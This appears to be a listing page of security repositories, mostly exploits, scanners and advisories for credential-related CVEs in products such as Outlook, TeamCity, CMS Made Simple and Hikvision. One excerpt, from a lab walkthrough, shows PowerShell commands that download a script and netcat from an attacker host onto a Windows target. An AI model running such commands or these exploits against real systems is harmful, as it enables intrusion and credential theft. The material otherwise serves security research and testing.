SCOMDecrypt

SCOMDecrypt - SCOM Credential Decryption Tool Released as open source by NCC Group Plc - http://www.nccgroup.trust/ Developed by Richard Warren, richard dot warren at nccgroup dot trust http://www.github.com/nccgroup/SCOMDecrypt Released under AGPL, see LICENSE for more information Introduction...

CVE-2024-21413

CVE-2024-21413 - Expect Script POC Microsoft Outlook Leak credentials & Remote Code Execution Vulnerability when chained with CVE-2023-21716 through the preview panel CVSS:3.1 9.8 / 8.5 Outlook should warm you about the risk on opening an external link = but this is not the case! usage:...

teamcity-idea-cve-2020-35667-poc

TeamCity IntelliJ IDEA Plugin credential interception CVE-2020-35667 Quick Links Proof-of-Concept Report | Workflow Analysis | Server script Description This is a reproduction of CVE-2020-35667 by building a fake XML-RPC TeamCity endpoint. CVE-2020-35667 is a SSRF vulnerability in the JetBrains...

mysqli

MySQLi.py - Time-Based Blind SQL Injection for MySQL MySQLi.py is a personal practice project, inspired by Exploit-DB exploit 46635, used during the SimpleCTF room on TryHackMe. What caught my attention in the original exploit was its ability to extract credentials and even crack the password has...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

cmsms-sqli

CMS Made Simple = 2.2.9 SQL Injection CVE-2019-9053 - Python3 Exploit Pure Python3 port of the original Exploit-DB 46635 by Daniele Scanu. Time-based blind SQLi to dump admin credentials from vulnerable CMS Made Simple installations. 🎯 Features: ✅ No external dependencies only requests ✅ Python...

pmp-exploit

pmp-exploit This exploit takes advantage of the Privilege Escalation vulnerability found within Password Manager Pro to elevate a regular user to SuperAdmin and then download the passwords and files stored within the application. Systems Affected Product : ManageEngine Password Manager Pro Compan...

CVE-2026-76406

Versions of Splunk SOAR below 8.7.0 are vulnerable to an information disclosure flaw in the REST API . The root cause is that the system decrypts encrypted Basic authentication values before completing the necessary authentication checks. An unauthenticated user who already possesses encrypted cr...

CVE-2025-14269

CVE-2025-14269 A security issue was discovered in the in-cluster version of Headlamp where unauthenticated users may be able to reuse cached credentials to access Helm functionality through the Headlamp UI. Kubernetes clusters are only affected if Headlamp is installed, is configured with...

CVE-2022-24707_AnukoTimeTracker_Version-1.20.0_POC

CVE-2022-24707 Anuko Time Tracker SQL Injection Exploit A security assessment tool that demonstrates a SQL injection vulnerability in Anuko Time Tracker's Version 1.20.0 puncher feature. This tool helps to Dump the whole ttusers Database and revels every single entry, If used as per following the...

vulnerability-assessment

openssh-vulnerability-assessment Professional cybersecurity assessment demonstrating vulnerability identification, CVSS severity scoring, MITRE ATT&CK framework application, and detailed remediation planning for OpenSSH 6.6.1p1 critical vulnerabilities CVE-2016-0777, CVE-2015-5600 🛡️ OpenSSH...

CVE-2025-9983

CVE-2025-9983 - GALAYOU G2 RTSP EXPLOIT /!\ Disclaimer: This script is provided 'as is' and exclusively for educational purposes. Users are strongly advised to exercise caution and utilize it within the boundaries of legal and ethical considerations. Description Python POC for CVE-2025-9983 , an...

CVE-2026-103090 Unauthenticated Biscuit Credential Disclosure via GET /enroll/status in Google OSS Agent Mesh (SAM)

Missing Authentication for Critical Function CWE-306 and Insufficiently Protected Credentials CWE-522 in the control plane enrollment status handler HandleEnrollStatus at GET /enroll/status in internal/controlplane/server.go in Google OSS Agent Mesh SAM versions 0.1.0-alpha.1 through 0.1.0-alpha....

CVE-2026-103090

Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.8 are vulnerable to unauthenticated Biscuit credential disclosure . The root cause is missing authentication and insufficiently protected credentials in the control plane enrollment status handler (HandleEnrollStatus at GET /e...

CVE-2023-42793

Batch scan python teamcityscan.py -f targets.txt -o results.txt Single target python teamcityscan.py -u http://target.com:8111 -o result.txt Specify thread count python teamcityscan.py -f urls.txt -t 20 -o vuln.txt Target file format targets.txt: http://192.168.1.100:8111...

CVE-2025-26199

🛡️ CVE-2025-26199 — Insecure Password Transmission via Cleartext in CloudClassroom-PHP-Project v1.0 📄 Description CloudClassroom-PHP-Project v1.0 is vulnerable to insecure transmission of user credentials. During the authentication process, passwords are submitted over unencrypted HTTP rather than...

ThunderCloud

ThunderCloud Cloud Exploit Framework Usage python3 tc.py -h | | | | | / | | | | | | | | | | | | | | | | | | | ' | | | | ' \ / |/ \ '| | | |/ | | | |/ | | | | | | | || | | | | | | / | | || | | || | | | / || ||,|| ||,||| ||/ ,|,| usage: tc.py -h -ce COGNITOENDPOINT -reg REGION -accid...

yoloai

yoloAI Sandboxed runner for AI coding agents. No permission fatigue, no credentials in the box, no changes to your project until you approve them. AI coding agents work best with the guardrails off, and that's a terrible way to run them on your real machine. yoloAI gives the agent a disposable...

CVE-2026-18963

CVE-2026-18963 Keycloak Reset-Credentials State Bypass Detector https://github.com/user-attachments/assets/005fab89-339a-4e4e-881c-da6a626f6c9e python3 kc-resetforge.py -h usage: kc-resetforge.py -h --target TARGET --targets-file TARGETSFILE --port PORT --realm REALM --client-id CLIENTID --userna...

HikvisionExploiter_fixed

HikvisionExploiter Educational security tool for testing unsecured Hikvision exposures and checking CVE-2021-36260 in authorized environments. ⚠️ Legal and Ethical Warning This project should be used only on systems you own or have explicit permission to test. Scanning/exploitation without...